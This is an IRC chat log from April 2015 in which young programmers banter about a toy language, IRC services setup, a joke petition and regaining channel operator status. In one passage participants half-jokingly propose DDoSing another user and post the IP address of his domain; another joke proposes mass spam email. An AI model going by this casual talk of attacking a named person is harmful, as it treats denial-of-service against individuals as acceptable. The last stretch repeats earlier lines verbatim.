[2015-04-11T20:58:05-0400] <nickthename> oh, it doesn't include keycaps? strange
[2015-04-11T20:58:11-0400] <nickthename> I don't understand these weird keyboards
[2015-04-11T20:58:19-0400] <nickthename> my keyboard is a sun keyboard I got for free
[2015-04-11T21:05:33-0400] <LittleBobbyTables> >woman has a baby on her during a rocket concert
[2015-04-11T21:05:34-0400] <LittleBobbyTables> >gets asked to reseat or get refunded because the guards are concerned for the baby
[2015-04-11T21:05:34-0400] <LittleBobbyTables> >woman bitches in the "this isnt a law you cant do this"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "no I don't have a california ID I'm military"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "what branch are you in?"
[2015-04-11T21:08:10-0400] <LittleBobbyTables> "my husbands in the navy"
[2015-04-11T21:08:12-0400] <sdamashek> where do these rocket concerts happen? I wanna go to one
[2015-04-11T21:08:27-0400] <LittleBobbyTables> anywhere in the desert, really
[2015-04-11T21:08:36-0400] <LittleBobbyTables> they just need enough room to launch them
[2015-04-11T21:08:58-0400] <sdamashek> can I get a ticket?
[2015-04-11T21:09:56-0400] <LittleBobbyTables> Sure, just give me the money and I'll give you a ticker
[2015-04-11T21:09:58-0400] <LittleBobbyTables> ticket*
[2015-04-11T21:42:30-0400] <sdamashek> Tamini_: I finished community season 1
[2015-04-11T21:42:50-0400] <sdamashek> dat cliffhanger tho
[2015-04-11T22:09:18-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=ULInZswhvgY
[2015-04-11T22:23:03-0400] <LittleBobbyTables> sup baddie
[2015-04-11T22:57:36-0400] <failedxyz> hei
[2015-04-11T23:01:33-0400] <LittleBobbyTables> how u doin'
[2015-04-11T23:28:07-0400] <z3t> .ninja $2.88 on namecheap rn
[2015-04-11T23:36:17-0400] <LittleBobbyTables> Has been for like a monht
[2015-04-11T23:36:30-0400] <z3t> o
[2015-04-12T00:03:16-0400] <nezorg> i bought nezorg.ninja :P
[2015-04-12T00:15:28-0400] <LittleBobbyTables> How can I tell if I selected the option for nginx on a DO droplet?
[2015-04-12T00:15:35-0400] <LittleBobbyTables> I'm pretty sure I did, but I don't see nginx installed
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[2015-04-12T14:30:09-0400] <fwilson> lots of magic
[2015-04-12T14:30:15-0400] <fwilson> basically there's a shared key
[2015-04-12T14:30:19-0400] <fwilson> and challenge-response authentication between bots
[2015-04-12T14:30:27-0400] <fwilson> to keep ops across challens
[2015-04-12T14:30:29-0400] <fwilson> *channels
[2015-04-12T14:30:31-0400] <fwilson> evem
[2015-04-12T14:30:33-0400] <fwilson> even
[2015-04-12T14:30:35-0400] <fwilson> words are hard
[2015-04-12T14:30:38-0400] <sdamashek> do they just all have op in channels
[2015-04-12T14:30:44-0400] <fwilson> yeah, that's the idea
[2015-04-12T14:30:48-0400] <sdamashek> ic
[2015-04-12T14:44:47-0400] • alokpathy: bows to the czar.
[2015-04-12T14:48:34-0400] <jwoglom> czar_fwilson: ALL HAIL THE CZAR!
[2015-04-12T14:49:37-0400] <fwilson> jwoglom: join #testing
[2015-04-12T14:49:47-0400] <fwilson> danker_czar_sdamashek: you too if you want
[2015-04-12T14:56:10-0400] <z3t> anyone have a suggestion on what brand of monitor I should buy 
[2015-04-12T14:56:35-0400] <jwoglom> z3t: idk, whatever's cheapest? :P
[2015-04-12T14:58:04-0400] <z3t> well I don't want something that'll like explode within a week....
[2015-04-12T14:59:55-0400] <JacobEdelman> I just finished my complete rewrite of lark!
[2015-04-12T14:59:57-0400] <JacobEdelman> and it works!
[2015-04-12T15:00:02-0400] <JacobEdelman> https://www.irccloud.com/pastebin/mBnk7yE7
[2015-04-12T15:00:15-0400] <JacobEdelman> those are two Fibonacci programs in lark
[2015-04-12T15:00:20-0400] <JacobEdelman> the first linear, the second exponential
[2015-04-12T15:00:27-0400] <JacobEdelman> awe: ^
[2015-04-12T15:00:51-0400] <JacobEdelman> *the first exponential, the second linear
[2015-04-12T15:01:01-0400] <JacobEdelman> the code to run lark is on github
[2015-04-12T15:01:12-0400] <JacobEdelman> https://github.com/JacobEdelman/lark
[2015-04-12T15:15:52-0400] <LittleBobbyTables> Yeah, I don't have nginx on this droplet and I can't apt-get install it
[2015-04-12T15:17:06-0400] <z3t> skid
[2015-04-12T15:17:24-0400] <LittleBobbyTables> k
[2015-04-12T15:18:28-0400] <z3t> what happens when you apt-get it
[2015-04-12T15:19:05-0400] <LittleBobbyTables> doesn't download at all
[2015-04-12T15:19:55-0400] <LittleBobbyTables> oh it works now
[2015-04-12T15:21:48-0400] <JacobEdelman> LittleBobbyTables: you know what would make it so you never had the problem at all
[2015-04-12T15:21:50-0400] <JacobEdelman> lark would
[2015-04-12T15:21:51-0400] <JacobEdelman> :)
[2015-04-12T15:22:06-0400] <LittleBobbyTables> !ban JacobEdelman 
[2015-04-12T15:22:09-0400] <JacobEdelman> :P
[2015-04-12T15:22:14-0400] <JacobEdelman> lark to good for you
[2015-04-12T15:22:18-0400] <JacobEdelman> *too
[2015-04-12T15:23:15-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=jP4oCOAnz-Y#t=121
[2015-04-12T15:23:18-0400] <LittleBobbyTables> https://www.youtube.com/watch?v=jP4oCOAnz-Y
[2015-04-12T15:23:20-0400] <LittleBobbyTables> Ignore the time
[2015-04-12T15:31:25-0400] <fwilson> awe: we no longer need services
[2015-04-12T15:45:52-0400] <JacobEdelman> wat?
[2015-04-12T15:49:18-0400] <JacobEdelman> so, now LittleBobbyTables  is defacing lark
[2015-04-12T15:49:30-0400] <JacobEdelman> how the traditionalists cry out in the face of a revolution
[2015-04-12T15:49:43-0400] <JacobEdelman> but your meager insults will not stop lark's inevintible rise
[2015-04-12T15:59:07-0400] <z3t> JacobEdelman: why did you close my issue without resolving it?
[2015-04-12T16:02:41-0400] <JacobEdelman> z3t: oooh
[2015-04-12T16:02:48-0400] <JacobEdelman> it was you not lbt
[2015-04-12T16:02:48-0400] Mode is +nt
[2015-04-12T16:02:53-0400] <z3t> ye
[2015-04-12T16:02:59-0400] <+awe> [15:31:25]  <fwilson>	awe: we no longer need services
[2015-04-12T16:03:01-0400] <+awe> fwilson: why not?
[2015-04-12T16:03:01-0400] <JacobEdelman> LittleBobbyTables: I apologize for shaming you
[2015-04-12T16:03:11-0400] <fwilson> awe: #sovietrussia
[2015-04-12T16:03:15-0400] <JacobEdelman> z3t: consider yourself gravely insulted
[2015-04-12T16:07:02-0400] <+awe> fwilson: I don't even.
[2015-04-12T16:07:31-0400] <fwilson> awe: shared-key challenge-response authentication
[2015-04-12T16:08:27-0400] <JacobEdelman> awe: did you look at lark?
[2015-04-12T16:08:30-0400] <JacobEdelman> awe: did you?
[2015-04-12T16:08:35-0400] <JacobEdelman> isn't it pretty?
[2015-04-12T16:09:06-0400] JacobEdelman is now known as czaw_909089
[2015-04-12T16:09:12-0400] czaw_909089 is now known as czar_909089
[2015-04-12T16:09:20-0400] czar_909089 is now known as JacobEdelman
[2015-04-12T16:09:45-0400] <+awe> JacobEdelman: I looked at it.
[2015-04-12T16:11:45-0400] <JacobEdelman> awe: and?
[2015-04-12T16:11:55-0400] <JacobEdelman> awe: do you acknowledge its amazingness? 
[2015-04-12T16:12:01-0400] <+awe> It exists.
[2015-04-12T16:12:04-0400] <+awe> It's still garbage.
[2015-04-12T16:12:10-0400] <+awe> It still doesn't meet the needs of anyone I've ever met.
[2015-04-12T16:12:10-0400] <JacobEdelman> awwwwwwwwe
[2015-04-12T16:12:16-0400] <JacobEdelman> it meets my needs?
[2015-04-12T16:12:18-0400] <JacobEdelman> *!
[2015-04-12T16:12:28-0400] <+awe> No, it doesn't.
[2015-04-12T16:12:48-0400] <+awe> When have you ever needed to add syntax to your language?
[2015-04-12T16:13:25-0400] <LittleBobbyTables> fwilson: left #bots
[2015-04-12T16:13:31-0400] <fwilson> ok
[2015-04-12T16:13:33-0400] <fwilson> thanks
[2015-04-12T16:14:25-0400] <JacobEdelman> awe: I have
[2015-04-12T16:14:28-0400] <JacobEdelman> awe: for everything
[2015-04-12T16:14:41-0400] <JacobEdelman> friendship is never a builtin keyword
[2015-04-12T16:14:53-0400] <JacobEdelman> and friend should have its own syntax for defining
[2015-04-12T16:18:13-0400] <JacobEdelman> LittleBobbyTables: can you help me spam all github users with emails too convert there code to lark?
[2015-04-12T16:18:15-0400] <JacobEdelman> something like
[2015-04-12T16:18:28-0400] <LittleBobbyTables> 20 cents per email I send.
[2015-04-12T16:18:42-0400] <+awe> JacobEdelman: friend is a C++ keyword.
[2015-04-12T16:18:51-0400] <JacobEdelman> "Dear Sir/Madam, I, the prince of Nigeria, wish to transfer some money offshores to a group that uses lark..."
[2015-04-12T16:18:59-0400] <JacobEdelman> awe: but not freindship
[2015-04-12T16:19:04-0400] <JacobEdelman> also, it needs to be an operator
[2015-04-12T16:21:07-0400] <+awe> You're insane.
[2015-04-12T16:21:50-0400] <+awe> JacobEdelman: I'm not even sure if you want this to be an esolang or an actual language.
[2015-04-12T16:21:56-0400] <JacobEdelman> absolutely insane 
[2015-04-12T16:22:07-0400] <JacobEdelman> and in answer to that question: yes
[2015-04-12T16:22:39-0400] <JacobEdelman> (in actuality i'd like it to be a research language, if it were just an esolang I would not be putting this much effort into it)
[2015-04-12T16:23:51-0400] <+awe> ...
[2015-04-12T16:24:11-0400] <+awe> You're not putting much effort into it.
[2015-04-12T16:24:34-0400] <+awe> It's a single Python file, and it was previously a single JS file.
[2015-04-12T16:24:49-0400] <JacobEdelman> no, it was previosly ~5 typescript files
[2015-04-12T16:24:53-0400] <JacobEdelman> and before that ~3 js files
[2015-04-12T16:25:01-0400] <JacobEdelman> and beyond that many many pages of handwritten notes
[2015-04-12T16:25:09-0400] <JacobEdelman> and many many hours of brainstorming
[2015-04-12T16:25:17-0400] <JacobEdelman> size is not everything
[2015-04-12T16:25:38-0400] <+awe> No, but your idea is useless, and therefore, it's firmly esolang territory.
[2015-04-12T16:27:17-0400] <JacobEdelman> nah
[2015-04-12T16:27:28-0400] <JacobEdelman> I mean, some called perl useless
[2015-04-12T16:27:33-0400] <JacobEdelman> and some called python useless
[2015-04-12T16:27:38-0400] <JacobEdelman> and some called java useless
[2015-04-12T16:27:41-0400] <z3t> wow, something I can agree with awe on for once!
[2015-04-12T16:27:47-0400] <JacobEdelman> but only one of those is an esolang
[2015-04-12T16:27:55-0400] <+awe> Nobody called Perl, Python, or Java useless.
[2015-04-12T16:28:11-0400] <JacobEdelman> z3t: which is weird, since both you and awe never agree with me, but seem to disagree a lot too...
[2015-04-12T16:28:24-0400] <JacobEdelman> awe: I just did
[2015-04-12T16:28:33-0400] <JacobEdelman> Java is useless
[2015-04-12T16:28:34-0400] <+awe> Okay, well, you're objectively wrong.
[2015-04-12T16:28:38-0400] <JacobEdelman> there, your statement is no longer true
[2015-04-12T16:28:41-0400] <JacobEdelman> no, I'm not
[2015-04-12T16:28:48-0400] <JacobEdelman> how am I objectively wrong?
[2015-04-12T16:29:01-0400] <LittleBobbyTables> Because Java isn't useless.
[2015-04-12T16:29:10-0400] <JacobEdelman> lol
[2015-04-12T16:31:51-0400] <+awe> Java met a need: there was a demand for easier languages that didn't require you to worry about memory management.
[2015-04-12T16:33:07-0400] <LittleBobbyTables> People call Perl useless though
[2015-04-12T16:33:10-0400] <LittleBobbyTables> That I can agree with
[2015-04-12T16:33:26-0400] <+awe> I mean, now adays, yeah.
[2015-04-12T16:34:34-0400] <fwilson> awe: would you mind opping me in #bots
[2015-04-12T16:34:46-0400] <LittleBobbyTables> leave and rejoin
[2015-04-12T16:34:56-0400] <+awe> woggles is in there too.
[2015-04-12T16:35:05-0400] <LittleBobbyTables> well him to leave then
[2015-04-12T16:35:12-0400] <fwilson> yeah, he's idle
[2015-04-12T16:35:16-0400] <jwoglom> OK I'll leave
[2015-04-12T16:35:18-0400] <fwilson> oh
[2015-04-12T16:35:20-0400] <fwilson> i guess he's not
[2015-04-12T16:35:22-0400] <fwilson> thanks
[2015-04-12T16:35:31-0400] <jwoglom> done
[2015-04-12T16:36:02-0400] <jwoglom> My phone's wee chat client is in #pdgn so I got the notif here
[2015-04-12T16:36:06-0400] <jwoglom> But not from there
[2015-04-12T16:36:15-0400] <fwilson> jwoglom: you can rejoin
[2015-04-12T16:36:18-0400] <fwilson> if you want
[2015-04-12T16:36:21-0400] <fwilson> ah ok
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[2015-04-12T17:39:19-0400] <fwilson> jwoglom: can you /part ##hs
[2015-04-12T17:40:05-0400] <jwoglom> done
[2015-04-12T17:40:14-0400] <jwoglom> rejoin?
[2015-04-12T17:41:19-0400] <fwilson> Tamini / Tamini_ you can rejoin now
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[2015-04-12T19:10:22-0400] <fwilson> everyone who was in #hs can rejoin
[2015-04-12T19:16:11-0400] <nickthename> awe: why is there no chanserv?
[2015-04-12T19:18:00-0400] <fwilson> (you should add chanserv)
[2015-04-12T19:19:43-0400] <jwoglom> i'm tempted to start a wh.gov petition
[2015-04-12T19:19:57-0400] <fwilson> do it
[2015-04-12T19:22:31-0400] <jwoglom> ah finally got a confirmation email from wh.gov
[2015-04-12T19:22:59-0400] <fwilson> lol
[2015-04-12T19:26:49-0400] <Fill> awe: here?
[2015-04-12T19:28:11-0400] <jwoglom> fwilson: awe http://wh.gov/iZuFc
[2015-04-12T19:28:32-0400] <fwilson> >A. L.
[2015-04-12T19:28:53-0400] <jwoglom> spamherelots!
[2015-04-12T19:29:00-0400] <fwilson> verify
[2015-04-12T19:29:05-0400] <fwilson> d
[2015-04-12T19:29:55-0400] <fwilson> sdamashek: please sign
[2015-04-12T19:34:56-0400] <z3t> -_-
[2015-04-12T19:35:16-0400] <z3t> and thsi is why they don't take any of those pettitions seriously anymore
[2015-04-12T19:35:20-0400] <z3t> this *
[2015-04-12T19:35:22-0400] <jwoglom> fwilson: >G. R.
[2015-04-12T19:35:44-0400] <fwilson> jwoglom: get rekt
[2015-04-12T19:36:04-0400] <jwoglom> fwilson: ayy lmao
[2015-04-12T19:36:09-0400] <fwilson> ayy lmao
[2015-04-12T19:36:14-0400] <jwoglom> get rekt
[2015-04-12T19:38:47-0400] <nickthename> >anymore
[2015-04-12T19:38:50-0400] <alokpathy> Signed
[2015-04-12T19:38:52-0400] <alokpathy> :)
[2015-04-12T19:39:15-0400] <jwoglom> this is the democratic process, people!
[2015-04-12T19:45:19-0400] <sdamashek> signed
[2015-04-12T19:47:14-0400] <fwilson> ayy
[2015-04-12T20:03:23-0400] <LittleBobbyTables> z3t: stop breaking things
[2015-04-12T20:04:48-0400] <fwilson> LittleBobbyTables: sign hte petition
[2015-04-12T20:04:57-0400] <LittleBobbyTables> how much are you paying me
[2015-04-12T20:05:22-0400] <fwilson> 0
[2015-04-12T20:05:25-0400] <fwilson> 1 monies
[2015-04-12T20:05:32-0400] <LittleBobbyTables> no thanks
[2015-04-12T20:05:52-0400] <fwilson> ok
[2015-04-12T20:08:19-0400] Kenzierocks (kenzierocks@pdgn-4km.pg3.oqpiq3.IP) joined the channel
[2015-04-12T20:08:34-0400] <Kenzierocks> Tamini: did i actually leave or is my bouncer sitting there
[2015-04-12T20:09:20-0400] <Tamini> you're here
[2015-04-12T20:09:27-0400] <Tamini> oh jk nop
[2015-04-12T20:09:33-0400] <Kenzierocks> cool
[2015-04-12T20:10:39-0400] <fwilson> hi Kenzierocks 
[2015-04-12T20:10:46-0400] <sdamashek> just ubuntor left
[2015-04-12T20:10:51-0400] <fwilson> we made a bunch of things
[2015-04-12T20:11:17-0400] <Kenzierocks> yay
[2015-04-12T20:11:21-0400] Kenzierocks is now known as kenzierocks
[2015-04-12T20:11:28-0400] <alokpathy> kenzierocks: Ayy
[2015-04-12T20:11:55-0400] <jwoglom> fwilson: we need to get op in here
[2015-04-12T20:12:01-0400] <fwilson> jwoglom: yes, definitely
[2015-04-12T20:12:04-0400] <fwilson> ok, everyone /part!
[2015-04-12T20:12:08-0400] <fwilson> nah jk
[2015-04-12T20:13:15-0400] <nickthename> is kenzie your name or a saints row reference
[2015-04-12T20:13:22-0400] <sdamashek> ubuntor please :(
[2015-04-12T20:13:30-0400] <kenzierocks> actual name
[2015-04-12T20:13:48-0400] <jwoglom> [ubuntor] idle: 05 hours 48 minutes
[2015-04-12T20:13:55-0400] <kenzierocks> gg
[2015-04-12T20:14:00-0400] <kenzierocks> can we force kick him?
[2015-04-12T20:14:12-0400] <LittleBobbyTables> jesus christ
[2015-04-12T20:14:13-0400] <sdamashek> awe could
[2015-04-12T20:14:17-0400] <LittleBobbyTables> 300 MB driver update
[2015-04-12T20:14:25-0400] <sdamashek> we can't though
[2015-04-12T20:15:05-0400] <kenzierocks> awe's well that ends well
[2015-04-12T20:15:20-0400] <jwoglom> ayy
[2015-04-12T20:15:22-0400] <sdamashek> heh
[2015-04-12T20:15:32-0400] <alokpathy> lel
[2015-04-12T20:15:38-0400] <jwoglom> now i want to watch that futurama episode
[2015-04-12T20:15:38-0400] <sdamashek> does anybody have ubuntor's number
[2015-04-12T20:15:54-0400] <alokpathy> sdamashek: You do :P
[2015-04-12T20:15:59-0400] <alokpathy> sdamashek: The spreadsheet
[2015-04-12T20:15:59-0400] <sdamashek> oh right
[2015-04-12T20:16:15-0400] <kenzierocks> magic spreadsheet
[2015-04-12T20:16:17-0400] <kenzierocks> > maneo, manere, mansi, mansus 
[2015-04-12T20:16:36-0400] <kenzierocks> remain, stay, abide; wait for; continue, endure, last; spend the night (sexual)
[2015-04-12T20:16:42-0400] <fwilson> ayy lmao
[2015-04-12T20:16:47-0400] <kenzierocks> yay latin
[2015-04-12T20:16:51-0400] <fwilson> wait, sdamashek, what channel is this?
[2015-04-12T20:16:58-0400] <kenzierocks> #pdgn
[2015-04-12T20:17:02-0400] <jwoglom> force a netsplit!1!11
[2015-04-12T20:17:04-0400] <LittleBobbyTables> I'd spend the night
[2015-04-12T20:17:06-0400] <sdamashek> rekt
[2015-04-12T20:17:13-0400] <fwilson> oh, ok
[2015-04-12T20:17:21-0400] <sdamashek> fwilson: it was a channel for the ctf
[2015-04-12T20:17:32-0400] <fwilson> sdamashek: ah
[2015-04-12T20:17:37-0400] <kenzierocks> oh, the channel we're trying to op
[2015-04-12T20:17:39-0400] <kenzierocks> lol
[2015-04-12T20:17:53-0400] <fwilson> ayy
[2015-04-12T20:17:54-0400] <sdamashek> lol I thought you were joking
[2015-04-12T20:18:48-0400] <Tamini> kenzierocks: omg latin
[2015-04-12T20:18:53-0400] <Tamini> dude you don't even know my pain rn
[2015-04-12T20:18:58-0400] <kenzierocks> i have a chrome button to add jquery to any site
[2015-04-12T20:19:03-0400] <Tamini> i have like 3 chapters to do but math is taking up more time because its more interesting rip
[2015-04-12T20:19:10-0400] <kenzierocks> lol
[2015-04-12T20:19:19-0400] <kenzierocks> jquery helps me rip apart my latin book for the text
[2015-04-12T20:19:30-0400] <kenzierocks> 'cause it's locked up inside the html
[2015-04-12T20:19:37-0400] <kenzierocks> maybe i need bs4 to do this
[2015-04-12T20:19:59-0400] <LittleBobbyTables> 50 seconds ahead of wr time, gogo pokebot
[2015-04-12T20:27:25-0400] <sdamashek> everybody ddos ubuntor so he ping timeouts
[2015-04-12T20:27:44-0400] <jwoglom> LittleBobbyTables: i think this is your cue
[2015-04-12T20:27:54-0400] <LittleBobbyTables> I don't have his ip
[2015-04-12T20:28:18-0400] <sdamashek> *cough* freenode *cough*
[2015-04-12T20:28:38-0400] <LittleBobbyTables> ubuntor@ubuntor.org
[2015-04-12T20:28:41-0400] <LittleBobbyTables> I already checked lol
[2015-04-12T20:29:26-0400] <kenzierocks> A	ubuntor.org	23.95.9.156	30 min
[2015-04-12T20:29:29-0400] <kenzierocks> meh
[2015-04-12T20:30:09-0400] <LittleBobbyTables> I doubt he's hosting it from his home computer lol
[2015-04-12T20:31:46-0400] <kenzierocks> gotta go
[2015-04-12T20:31:47-0400] <kenzierocks> ~
[2015-04-12T20:39:00-0400] <LittleBobbyTables> shit
[2015-04-12T20:39:03-0400] <LittleBobbyTables> we got criticaled
[2015-04-12T20:39:22-0400] <LittleBobbyTables> reset rip
[2015-04-12T20:45:05-0400] <alokpathy> kenzierocks: So long
[2015-04-12T20:45:19-0400] <alokpathy> sdamashek: May we return to the chan?
[2015-04-12T20:45:50-0400] <sdamashek> I mean, ubuntor hasn't left yet
[2015-04-12T20:46:00-0400] <sdamashek> so I can't do anythinh
[2015-04-12T20:46:11-0400] <alokpathy> Aw
[2015-04-12T20:46:56-0400] <sdamashek> we could go to ##chan for now though
[2015-04-12T20:47:23-0400] <sdamashek> or just go back idk
[2015-04-12T20:47:53-0400] <fwilson> what channel
[2015-04-12T20:48:04-0400] <fwilson> oh
[2015-04-12T20:49:03-0400] <sdamashek> maybe pinging him a lot will help
[2015-04-12T20:49:06-0400] <sdamashek> ubuntor: ubuntor ubuntor ubuntor ubuntor 
[2015-04-12T20:49:27-0400] <fwilson> ubuntor:
[2015-04-12T20:49:33-0400] <fwilson> does anyone have an ubuntu vm with tor
[2015-04-12T20:49:36-0400] <fwilson> try connecting with that
[2015-04-12T20:49:58-0400] <jwoglom> i've always wondered why he uses that nickname
[2015-04-12T20:50:07-0400] <jwoglom> i would imagine it's something to do w ubuntu
[2015-04-12T21:13:24-0400] <LittleBobbyTables> pokebot named nido F because of me. F is going to get WR I bet
[2015-04-12T21:21:55-0400] <nickthename> what channel is this?
[2015-04-12T21:29:27-0400] <LittleBobbyTables> #pdgn
[2015-04-12T21:29:28-0400] <LittleBobbyTables> why
[2015-04-12T21:31:10-0400] <nickthename> I mean the one they're trying to get ubuntor to leave
[2015-04-12T21:31:47-0400] <jwoglom> probably #codegate
[2015-04-12T21:35:11-0400] <alokpathy> It is #codegate
[2015-04-12T21:42:04-0400] <sdamashek> this is not very awesome
[2015-04-12T21:45:04-0400] <+awe> [19:28:11]  <jwoglom>	fwilson: awe http://wh.gov/iZuFc
[2015-04-12T21:45:07-0400] <+awe> jwoglom: lol.
[2015-04-12T21:45:11-0400] <+awe> Fill: I'm here now, if you're still around.
[2015-04-12T21:45:15-0400] <jwoglom> awe: obama's on our side!
[2015-04-12T21:45:17-0400] <jwoglom> what now?
[2015-04-12T21:45:21-0400] <sdamashek> awe can you please op me in #codegate
[2015-04-12T21:45:24-0400] <sdamashek> I will love you forever
[2015-04-12T21:45:52-0400] <sdamashek> ayy thanks
[2015-04-12T21:46:35-0400] <nickthename> awe why is there no chanserv
[2015-04-12T21:46:40-0400] <jwoglom> sdamashek: so now you are obligated to love awe forever?
[2015-04-12T21:47:16-0400] <sdamashek> I guess so
[2015-04-12T21:47:29-0400] <sdamashek> Tamini alokpathy nezorg kenzierocks you can rejoin now
[2015-04-12T21:47:47-0400] <nickthename> didn't codegate already happen?
[2015-04-12T21:47:51-0400] <ubuntor> sdamashek: wait what
[2015-04-12T21:47:53-0400] <+awe> nickthename: There was previously a bot that handled that named Pidgey, but we didn't feel it was particularly necessary and since it wasn't a server, it was less robust and thus would probably borke in a netsplit and stuff.
[2015-04-12T21:47:55-0400] <ubuntor> i woke up
[2015-04-12T21:48:01-0400] <sdamashek> GOD DAMN IT
[2015-04-12T21:48:08-0400] <sdamashek> LOL
[2015-04-12T21:48:22-0400] <sdamashek> ubuntor: we were trying to regain op in #codegate lol
[2015-04-12T21:48:51-0400] <ubuntor> oh, ok
[2015-04-12T21:48:57-0400] <jwoglom> awe: why is it not particularly neccesary
[2015-04-12T21:49:06-0400] <+awe> Well, it might be now, I don't know.
[2015-04-12T21:49:07-0400] <jwoglom> pidgey at least existed as a chanserv
[2015-04-12T21:49:13-0400] <nickthename> chanserv is very necessary if people want to make channels
[2015-04-12T21:49:15-0400] <+awe> But nobody had a problem before.
[2015-04-12T21:49:18-0400] <jwoglom> people actually use channels besides pdgn now
[2015-04-12T21:49:22-0400] <+awe> Ok.
[2015-04-12T21:49:27-0400] <+awe> I'll finish adding anope.
[2015-04-12T21:49:38-0400] <sdamashek> ok cool
[2015-04-12T22:00:55-0400] <+awe> I'm super confused.
[2015-04-12T22:00:59-0400] <+awe> Attempting to connect to uplink #1 127.0.0.1 (127.0.0.1), port 7777
[2015-04-12T22:00:59-0400] <+awe> Successfully connected to uplink #1 127.0.0.1:7777
[2015-04-12T22:06:35-0400] <+awe> [Apr 12 22:05:54 2015] Unable to connect to any uplink
[2015-04-12T22:06:36-0400] <+awe> Wat.
[2015-04-12T22:06:42-0400] <+awe> It says it successfully connects and then nothing.
[2015-04-12T22:10:07-0400] <LittleBobbyTables> das cuz u dum
[2015-04-12T22:10:21-0400] <+awe> Ah, it's because of the SSL module.
[2015-04-12T22:11:13-0400] <LittleBobbyTables> told you
[2015-04-12T22:13:49-0400] <fwilson> lol
[2015-04-12T22:13:55-0400] <fwilson> you don't need SSL locally :P
[2015-04-12T22:14:15-0400] <sdamashek> pls what if the nsa hacked into lo
[2015-04-12T22:14:40-0400] <fwilson> tru
[2015-04-12T22:14:51-0400] <sdamashek> fwilson: stable 4.0 kernel :D
[2015-04-12T22:14:58-0400] <fwilson> :DDDDDD
[2015-04-12T22:15:11-0400] <+awe> fwilson: I'm aware.
[2015-04-12T22:15:18-0400] awe sets mode +o awe
[2015-04-12T22:15:23-0400] ChanServ sets mode +rq awe
[2015-04-12T22:15:29-0400] <sdamashek> spoky
[2015-04-12T22:15:34-0400] <jwoglom> glorious dictator again?
[2015-04-12T22:15:50-0400] ChanServ sets mode -q awe
[2015-04-12T22:16:32-0400] ChanServ sets mode -o awe
[2015-04-12T22:16:46-0400] ChanServ sets mode -v awe
[2015-04-12T22:16:48-0400] ChanServ sets mode +v awe
[2015-04-12T22:16:53-0400] <+awe> Ok.
[2015-04-12T22:16:55-0400] <+awe> There we go.
[2015-04-12T22:21:59-0400] <+awe> There you go.
[2015-04-12T22:22:00-0400] assface (jack@pdgn-dhr.tli.frc9r1.IP) joined the channel
[2015-04-12T22:22:05-0400] <+awe> You guys can now register channels and stuff.
[2015-04-12T22:22:18-0400] <alokpathy> :)
[2015-04-12T22:22:18-0400] <sdamashek> ChanServ is insisting I have +t on my channel
[2015-04-12T22:22:20-0400] <alokpathy> tq awe 
[2015-04-12T22:22:22-0400] <sdamashek> and there's no MLOCK option
[2015-04-12T22:22:30-0400] <sdamashek> and I have enforcemodes and enforcetopic off
[2015-04-12T22:22:46-0400] <sdamashek> awe: wat do
[2015-04-12T22:23:36-0400] <assface> hack the planet?
[2015-04-12T22:24:57-0400] <+awe> sdamashek: I have no idea.
[2015-04-12T22:25:05-0400] <sdamashek> lol
[2015-04-12T22:25:08-0400] <+awe> sdamashek: what channel?
[2015-04-12T22:25:24-0400] <sdamashek> private one, pmmed you
[2015-04-12T22:28:12-0400] <jwoglom> sdamashek:  mode #hs lock del +t?
[2015-04-12T22:28:30-0400] <jwoglom> does mode lock del not work
[2015-04-12T22:28:55-0400] <sdamashek> oh, it's mode lock del
[2015-04-12T22:29:01-0400] <sdamashek> yeah that worked
[2015-04-12T22:29:07-0400] <jwoglom> cs/ns help is often helpful :P
[2015-04-12T22:29:14-0400] <sdamashek> thanks
[2015-04-12T22:29:22-0400] <sdamashek> yeah
[2015-04-12T22:33:21-0400] <+awe> Whoever registered #hs, can you set a channel description with SET DESC #hs ...
[2015-04-12T22:33:39-0400] <LittleBobbyTables> no
[2015-04-12T22:33:44-0400] <+awe> Okay.
[2015-04-12T22:35:22-0400] <sdamashek> that's jwoglom
[2015-04-12T22:35:33-0400] <jwoglom> yeah i just registered it
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[2015-04-13T01:39:33-0400] <LittleBobbyTables> damn
[2015-04-13T01:39:39-0400] <LittleBobbyTables> if I had died to Koga, I could have gotten WR time...
[2015-04-13T02:31:36-0400] <Pharyngeal> awe: Does your Uni have a Spring festival thing
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[2015-04-13T08:44:58-0400] <fwilson> T_T
[2015-04-13T09:08:48-0400] <sdamashek> of course somebody made it https://twitter.com/oldwhitemansays
[2015-04-13T09:08:53-0400] <sdamashek> yay community
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[2015-04-13T10:14:53-0400] <+awe> Pharyngeal: yeah, Chance the Rapper is playing.
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[2015-04-12T22:11:13-0400] <LittleBobbyTables> told you
[2015-04-12T22:13:49-0400] <fwilson> lol
[2015-04-12T22:13:55-0400] <fwilson> you don't need SSL locally :P
[2015-04-12T22:14:15-0400] <sdamashek> pls what if the nsa hacked into lo
[2015-04-12T22:14:40-0400] <fwilson> tru
[2015-04-12T22:14:51-0400] <sdamashek> fwilson: stable 4.0 kernel :D
[2015-04-12T22:14:58-0400] <fwilson> :DDDDDD
[2015-04-12T22:15:11-0400] <+awe> fwilson: I'm aware.
[2015-04-12T22:15:29-0400] <sdamashek> spoky
[2015-04-12T22:15:33-0400] <jwoglom> glorious dictator again?
[2015-04-12T22:16:53-0400] <+awe> Ok.
[2015-04-12T22:16:56-0400] <+awe> There we go.
[2015-04-12T22:21:59-0400] <+awe> There you go.
[2015-04-12T22:22:05-0400] <+awe> You guys can now register channels and stuff.
[2015-04-12T22:22:18-0400] <alokpathy> :)
[2015-04-12T22:22:18-0400] <sdamashek> ChanServ is insisting I have +t on my channel
[2015-04-12T22:22:20-0400] <alokpathy> tq awe 
[2015-04-12T22:22:22-0400] <sdamashek> and there's no MLOCK option
[2015-04-12T22:22:30-0400] <sdamashek> and I have enforcemodes and enforcetopic off
[2015-04-12T22:22:46-0400] <sdamashek> awe: wat do
[2015-04-12T22:23:36-0400] <assface> hack the planet?
[2015-04-12T22:24:57-0400] <+awe> sdamashek: I have no idea.
[2015-04-12T22:25:05-0400] <sdamashek> lol
[2015-04-12T22:25:08-0400] <+awe> sdamashek: what channel?
[2015-04-12T22:25:24-0400] <sdamashek> private one, pmmed you
[2015-04-12T22:28:12-0400] <jwoglom> sdamashek:  mode #hs lock del +t?
[2015-04-12T22:28:30-0400] <jwoglom> does mode lock del not work
[2015-04-12T22:28:55-0400] <sdamashek> oh, it's mode lock del
